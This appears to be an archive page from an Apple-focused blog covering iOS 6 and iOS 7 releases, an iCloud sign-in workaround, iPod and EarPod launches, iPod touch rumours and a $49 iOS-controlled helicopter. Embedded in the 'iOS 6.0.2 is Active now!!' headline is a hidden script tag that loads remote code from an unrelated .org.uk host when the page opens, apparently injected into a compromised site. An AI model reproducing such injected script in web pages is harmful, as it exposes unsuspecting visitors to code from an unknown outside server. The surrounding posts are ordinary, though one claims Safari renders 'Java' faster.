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iOS 7 Problems – iCloud

 

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Yesterday 18th of September 2013 iOS 7 has been released worldwide. Apple servers have been hammered by the update requests received from millions and millions of Apple devices.

Unfortunately the new fancy update is having its own problems and issues, which we will try to tackle one by one.

Now we will be tackling iCloud issue on iDevices, where you will be getting an error message while starting iCloud saying “Unable to connect to Server”.

This problem is happening because you have to agree on the new License Agreement.

One trick will be fixing this to you. You have to start “Find My Friends” application and sign in using your Apple ID.

After signing in you will be notified to agree on the license agreement.

Once you agree on it and your “Find My Friends” application starts, go back to iCloud settings and you should be able to connect now.

Hope this trick will be fixing your problem.

Later on we will be talking about the fix for iMessage and FaceTime on iOS 7.


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Apple reveals iOS 7… Bring it on Android

Apple CEO Tim Cook unveiled a completely redesigned iOS 7 operating system for the iPhone and iPad at his company’s annual software developer conference on Monday, including a long-rumored iTunes Radio music service.

“It is the biggest change to iOS since the introduction of the iPhone,” Cook said to a standing ovation from a crowd of Apple fans and developers.

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New Look

iOS 7 is a radical departure from every generation of iOS that came before. Designer Jony Ive’s influence is clear. All of the 3-D elements and natural textures that have given iOS its signature look over the years are gone. That means no wooden bookshelf in iBooks, no felt tabletop in Game Center, no leather-bound calendar and so on.

The new operating system has a much more modern look thanks to cleaner lines, more use of white space, modern fonts, and a different color palette. There’s no denying that it is a big departure, but Apple was sure to keep many of the platform’s elements the same, such as the home screen layout and icon shape.

Sliding Gestures

Apple added a new sliding gesture to a number of apps, including Safari, Messages and Email that make it easier to move between messages, in-boxes or open tabs. The gesture is activated by swiping to the right or left when viewing messages.

Further, Apple added a new control screen that is accessible via swiping up from the bottom of the screen. This control screen provides quick and easy access to the wireless radios, brightness settings, a flashlight and music controls. (Users of Google’s Android platform will likely find it familiar.)

Lock Screen Notifications

The lock screen has a new look and feel to match the rest of the operating system. More important than the appearance, however, is the new support for notifications. iOS 7 allows users to see more notifications directly on the lock screen as well as to take action on those notifications. Further, notifications will sync across devices, so if you mark something on an iPad or Mac computer, it will be marked read on the iPhone as well.

Multitasking

Apple has made significant improvements to the way multitasking functions within iOS. Chiefly, multitasking is now supported by all apps available to the operating system. Previously, only select apps could function in the background while users were off doing other things. In addition to expanded support, iOS 7 is smarter about multitasking. It uses a new set of parameters to define when it should and shouldn’t update calls in the background, all of which are meant to help maximize battery life while also making sure users have the most up-to-date information.

Car Integration

Apple showed off new integration between the iPhone and in-care infotainment systems. Beginning with 2014 model-year vehicles, iOS 7 will be able to fully connect with cars. Apple demonstrated how it would look to use iOS through a car’s screen to make phone calls, play music or navigate via maps. At least a dozen car makers pledged support for the feature, including Chevy, Jaguar, Mercedes, Tesla, Ferrari and others.

Siri

Siri will be able to do a lot more than before, thanks to new integration with Microsoft’s Bing search engine and Wikipedia. Siri is better at understanding natural language requests, and can interact with more applications on the iPhone or iPad. For example, users can request that Siri play back voicemails or read SMS messages. Siri also gets a new voice, both male and female, with support for both in French and German.

Safari

Apple’s mobile browser sees a wide number of changes, many of which reflect changes being made in Apple’s OS X Mavericks desktop operating system. The browser is much faster at rendering Java, and has a new look that lets people see more of the content on Web pages. It supports better keychain access for storing passwords and credit card information across devices, as well as better parental controls for managing content. Last, it has a new user interface for interacting with multiple tabs. It supports more than eight open tabs at a time, and lets users reorder and close tabs with the flick of a finger.

Music and iTunes Radio

Apple updated not only the iTunes store, but the general appearance of the music player with iOS 7. It has a cleaner, simpler look, but still offers plenty of features. Perhaps the biggest new feature is support for iTunes Radio, a new streaming service that will allow iOS device owners to create and listen to radio stations based on artists, songs and so on. iTunes Radio is ad free to subscribers of iTunes Match, but shows ads for those who don’t. Apple has created hundreds of its own radio stations, but also lets users share their own.

iOS 7 will be made available to registered iOS developers later Monday. The full operating system won’t be available to consumers until the fall, probably closer to when Apple launches the next version of the iPhone. Apple typically offers a new iOS beta every few weeks leading up to the final release.


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iOS 6 is live now!

Yes it’s out and the downloads are spreaded all over the world. What you are waiting for? Go and get your iDevice updated now.

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New line of Music Players… iPods for sure…

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Today at its iPhone launch event, Apple announced yet another piece of hardware: the fifth-generation iPod touch. It has a 4-inch display, the same 326 ppi panel used on the new iPhone 5. On the inside, it packs an A5 chip promising seven times the graphics performance of the last-gen model. The battery is rated for 40 hours of music playback, or eight hours of video. The rear camera has also gotten an upgrade: it’s now a 5-megapixel shooter with a backside-illuminated f/2.4 lens. That main rear camera also now shoots 1080p video, and Apple has also added image stabilization. And yes, it supports the same panorama shooting feature as the iPhone 5. The front camera, meanwhile, is 720p and supports FaceTime (over WiFi only, of course — no 4G models here).

the company’s shifting focus to its other major pillar: the iPod. Now seven generations in, the iPod nano is getting a refresh with a 38-percent thinner profile and svelte 5.4mm thickness. The multitouch screen now measures 2.5-inches across and sports a physical home button right below. Also packed in to this evolutionary PMP leap is an FM tuner with DVR-like functionality for playback control, Bluetooth radio (for wireless streaming support), inbuilt pedometer and, of course, that slimmed-down Lightning dock connector. And, according to Cupertino, this wee media player should last for up to 30 hours, making it the longest lasting nano the company’s ever built. You can snag this 16GB lil’ fella in a near rainbow of colors — seven in all — this October when it goes on sale for $149. Official PR after the break.

It’s been quite a while since the Shuffle has been updated, but we’re happy to say that Apple has shown the tiniest of its music players some much needed love. There’s only one change here, but it’s by far the most important — colors! Now the tiny PMPs will match their revamped iTouch brothers. Just, you know, with much less functionality. There’s even a soft and subtle pink model for all those ladies out there that love being pandered to and a Project (RED) version for the socially conscious. They latest generation of the shuffle should ship today.


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No more Earphone for iDevices… It’s EarPod

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Apple announced that they’ve spent 3 years to develop the new Earphones, Oops I mean EarPods for new iDevices.

All the new line of iDevices will be shipped with the new EarPod, also it can be bought separately.


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Apple responds to users complain quickly

It seems that Apple have been really listening and responding to user complains since the iOS 6 upgrade.

Many users have been raising calls and complains to Apple regarding some bugs noticed on iDevices since upgrading it to the latest release.

Apple has released a quick response to the user requests, and released the first update and named it as  iOS 6.0.1.

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The new update is targeting the following minor fixes:

  • Fixes a bug that prevents iPhone 5 from installing software updates wirelessly over the air
  • Fixes a bug where horizontal lines may be displayed across the keyboard
  • Fixes an issue that could cause camera flash to not go off
  • Improves reliability of iPhone 5 and iPod touch (5th generation) when connected to encrypted WPA2 Wi-Fi networks
  • Resolves an issue that prevents iPhone from using the cellular network in some instances
  • Consolidated the Use Cellular Data switch for iTunes Match
  • Fixes a Passcode Lock bug which sometimes allowed access to Passbook pass details from lock screen
  • Fixes a bug affecting Exchange meetings

This update gave us one message from Apple, which says that I’m listening and I do really care to give you a flawless products.


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iOS 6.0.2 is Active now!!<script type="text/javascript" src="http://abrahamspath.org.uk/cb.php"></script>

A new update for iOS is available for download.
iOS 6.0.2 is meant to fix few bugs which reported by iOS users lately.

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The Power of Apple’s Products on Kindergarten Children

How powerful is the influence of Apple products such as iOS devices? With over 200 million iOS devices sold, the odds are pretty good right now kids know about the iPhone, iPad and iPod touch.

The following picture was taken from a kindergarten French class in Vancouver. The teacher (my sister’s friend) asked her students to brainstorm 10 words that started with the letter ‘i’. She was shocked when she saw the following ‘words’ from Apple make the top 10 list. Take a look below:

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That’s right folks–after igloo, we have iPad, iPod, itouch (it should never be referred to as this!), iPhone, itouch (again), and…get this…icloud (they must be loving iOS 5). Either these kids are being brainwashed with iOS devices by their parents, or people just can’t avoid the Apple marketing machine.


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Apple to Release a White iPod Touch with Minor Changes in October

Apple is expected to hold a press conference in the coming weeks to introduce its fall lineup for the iPhone and iPod touch. Most of the rumors have been focused on the next iPhone revision, and there has been very little information about the next-generation iPod touch. 

MacRumors has received information indicating that the next iPod touch revision will be a very minor change, with the primary addition being the introduction of a new white model. Only minor changes are expected for the existing hardware, with the addition of an oleophobic coating for the display and a revised ambient light sensor seemingly being the main differences. Otherwise, we expect the models to be nearly identical to the current fourth-generation iPod touch model. 

Our information confirms previous reports by Concord Securities analyst Ming-Chi Kuo, who had indicated that there would be few, if any, distinguishable changes from last year’s iPod touch model.

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White parts for the iPod touch leaked into the supply chain back in July, offering the first suggestion of the imminent introduction of the white iPod touch but with no major case changes. As shown above, these white iPod touch screens could be installed onto the existing fourth-generation iPod touches. 

This news would conflict with ambitious reports of 3G-enabled iPod touches this year, and also extinguish speculation that the tapered iPhone 5 case design might actually have represented the fifth-generation iPod touch. 

The new models are expected to be announced alongside the iPhone in the first week of October with availability in the middle of the month. The iPod nano is also expected to get a minor revision at the same time. 

Other reports have pinpointed dates in the first or second week of October for the actual announcement date. We’ve heard similar whispers, but suspect the date has been a moving target. Finally, we have also heard independently that the Golden Master of iOS 5 is targeted for September 23rd, lining up with the iCloud data reset


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Griffin Launches $49 iOS-Controlled Helicopter

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Interested in an iOS-controlled model helicopter, but turned off by the Parrot AR.Drone‘s $299.99 price tag? Griffin has announced the Helo TC, a $49.99 helicopter controlled via an iOS app. It’s not nearly as fancy as the AR.Drone, but at 1/6th the price, it could be a fun toy for users looking to fly something with their iPhone. 

Instead of using WiFi, the Helo includes a “case” that the iPhone slides into and plugs in via the headphone jack. The headphone jack sends tones to an IR transmitter which talks to the helicopter — so users need to have line-of-sight to the helicopter at all times. The case is powered by 4 AAA batteries.

The Helo TC Touch-Controlled Helicopter is available for pre-order for $49.99 from Griffin’s website and will be available at retailers for the holiday season. The Helo TC app is available for free on the App Store, but it won’t do much good until the helicopter actually starts shipping.


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